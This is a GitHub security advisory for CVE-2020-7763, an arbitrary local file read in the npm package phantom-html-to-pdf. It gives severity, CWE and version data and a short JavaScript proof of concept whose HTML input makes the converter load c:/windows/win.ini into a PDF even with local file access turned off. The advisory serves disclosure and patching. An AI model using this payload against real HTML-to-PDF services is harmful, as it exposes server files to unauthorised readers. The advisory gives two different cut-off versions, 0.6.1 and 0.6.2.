GitHub Advisoryadvisory · npm
GHSA-6h7f-qwqm-35pp Arbitrary File Read in phantom-html-to-pdf
HIGH
Official page ↗
- Aliases
- CVE-2020-7763
- Ecosystem
- npm
- Packages
- phantom-html-to-pdf
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-22
- Reviewed
- 2020-11-06
Affected packages
• npm phantom-html-to-pdf: < 0.6.2 → fixed in 0.6.2
Description
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
```js
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
```
Related
Alias · CVE (1)
- CVE-2020-7763 This affects the package phantom-html-to-pdf before 0.6.1. vulnerability